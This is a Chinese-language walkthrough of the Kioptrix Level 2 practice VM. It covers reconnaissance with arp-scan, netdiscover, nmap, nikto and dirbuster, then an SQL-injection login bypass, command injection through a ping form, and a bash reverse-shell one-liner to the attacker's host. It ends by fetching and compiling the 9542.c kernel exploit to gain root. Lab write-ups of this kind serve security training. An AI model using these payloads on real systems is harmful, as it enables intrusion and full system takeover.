1.环境配置
kali:192.168.26.128(NAT模式)
靶机:桥接
特别说明:有的小伙伴在打开虚拟机后,无法获取到靶机IP地址,跟Level 1是一样的
这里特别说明:修改“Kioptix Level 2.vmx”配置文件中ethernet0.networkName = "Nat"
2.相关知识
3.渗透测试
信息收集
主机发现
第一种方法:搜索出VMware一台主机IP是192.168.26.133
arp-scan -l
第二种方法:
用netdiscover工具进行内网主机发现
Netdiscover简介:专用的二层发现工具。拥有主动和被动发现两种方式。
使用以下命令:
netdiscover -i eth0
//ifconfig
//-i:网卡,选择你监控的网卡。比如eth0。
工具执行后内容:netdiscover -i eth0
扫描开放端口nmap
利用nmap -sV -p- 命令来扫描上面ip开放的端口,查看有哪些服务:
nmap -sV -p 192.168.26.133
22port:ssh远程登陆端口
80port:超文本传输协议开放端口
111port:SUN公司的RPC服务
443port:网页浏览端口
627port:未知631port:网络打印机服务
3306port:MySQL的默认端口
想再看详细点:
nmap -nvv -Pn -sSV -p [port] --version-intensity 9 -A [ip]
解释:
-nvv:扫描路由器
-Pn:不进行ping扫描
-sSV:将会在扫描结果的最后添加上对系统版本的识别结果
-p:扫描的端口
--version-intensity:设置版本扫描强度
-A:操作系统扫描,脚本扫描,路由跟踪,服务探测
漏洞收集
查找了ssh的版本公开的漏洞,可惜的是并没有什么有用的漏洞
看看80端口,打开浏览器并在地址栏输入ip地址,访问之后出现登录框
启动nikto扫描了一下,命令如下:
nikto -h [ip] #-h:-host的简写
Nikto是一款开源的(GPL)网页服务器扫描器,它可以对网页服务器进行全面的多种扫描,包含超过3300种有潜在危险的文件/CGIs;超过625种服务器版本;超过230种特定服务器问题。扫描项和插件可以自动更新(如果需要)。基于Whisker/libwhisker完成其底层功能。这是一款非常棒的工具,但其软件本身并不经常更新,最新和最危险的可能检测不到。
只有几个小漏洞,并没有其他有用的漏洞,接下来我用dirbuster来扫描网页的目录,看看我们能找到什么
在终端里输入dirbuster来启动工具
DirBuster是一个多线程的基于Java的应用程序设计用于暴力破解Web应用服务器上的目录名和文件名的工具
字典地址为:
/usr/share/dirbuster/wordlists/
开始扫描,点击Results-Tree View进行浏览
漏洞利用
没有什么敏感目录,让我们来看看登录框,在我们的信息搜集阶段,我们发现目标开启了3306端口(mysql默认端口),说明他们启用了mysql服务,我猜测登录框可能存在sql注入漏洞,首先让我们试试万能密码是否能登陆
Username: admin' OR 4=4/*
Password: 随便
成功登陆了,里面貌似还有一个登陆框,貌似是web控制台,上面写的是ping网络上的主机,让我们试试127.0.0.1
打算利用带有环回地址的字段框,添加一个“;”(命令分隔符)
成功,接下来就简单多了,让我们来反弹一个shell,首先回到终端,启动netcat,监听端口,命令如下:
nc全称NetCat,被誉为网络安全界的"瑞士军刀"nc是一个非常标准的telnet客户端工具,正因为它的强大功能使得它在入侵时被广泛应用,成为黑客们的必备武器之一.
nc -nvlp [port]
然后回到浏览器,反弹一个shell,命令如下:
bash -i >& /dev/tcp/[ip]/[port] 0>&1
//ip地址为攻击机地址,也就是kali地址
//port端口是随意的,只要别被占用
成功反弹shell
提权
让我们来看看目标主机的操作系统与内核版本,命令如下:
cat /etc/*-release #查看操作系统
uname -mrs #查看内核版本
用搜索引擎查看网上是否有公开的漏洞
目标操作系统有本地权限提升漏洞,我们下载这个模块,然后启用apache2服务,将文件发送到目标主机然后编译运行即可。命令如下:
service apache2 start #启用apache2服务
cp 你下载文件的目录/9542.c var/www/html #将文件托管到网站上
chmod 777 9542.c #赋予文件权限
然后回到目标的shell上,找到我们有权限下载和运行文件的文件夹,用ls -al查看文件夹权限
如图:
pwd:当前目录
我们需要查找根目录下文件的权限
我们看到/tmp文件夹下可以下载和运行文件,用cd /tmp移动到tmp文件夹下,然后下载文件,命令如下:
wget http://192.168.26.128/9542.c
这里下载出了一点问题,403了,只能换个方法了
这边系统版本为:Centos 4.5
然后利用searchsploit命令看看有没有相关提权的exp:
这边内核版本是2.6.9-55.EL,所以选择9542.c这个exp,按照上篇中的方法,先查看exp路径,再把exp复制到本地:
然后就是把这个exp传输到靶机上,然后靶机gcc编译执行下就可以了。
那么如何才能把exp传输到靶机上呢,这边提供的思路就是kali上利用python搭建一个http服务器,提供一个文件浏览的web服务,然后靶机wget下载编译就可以了
python -m http.server 8888
访问一下,看是否存在9542.c文件
然后靶机下载这个9542.c :
赋予文件权限:
chmod 777 9542.c
接下来查看下载的文件是否又权限:ls -al
编译源文件:
gcc 9542.c
赋予编译后文件权限:
chmod 777 a.out
然后运行文件:
./a.out
成功拿到root权限 ,重置密码root
成功登录
总结:
利用arp-scan -l命令查询主机
netdicover工具查询主机:netdiscover -i eth0
nmap命令查询端口:nmap -nvv -Pn -sSV -p [port] --version-intensity 9 -A [ip]
nikto工具扫描漏洞:nikto -h [ip] #-h:-host的简写
dirbuster扫描目录
弱口令破解sql注入漏洞:admin' OR 1=1/*
利用nc反弹shell:nc lvp [ports]; bash -i >& /dev/tcp [ip]/[ports] 0>&1
提权(查询操作系统以及内核版本,搜索相关漏洞并进行利用,编译文件gcc)
python搭建一个http服务器 : python -m http.server 8888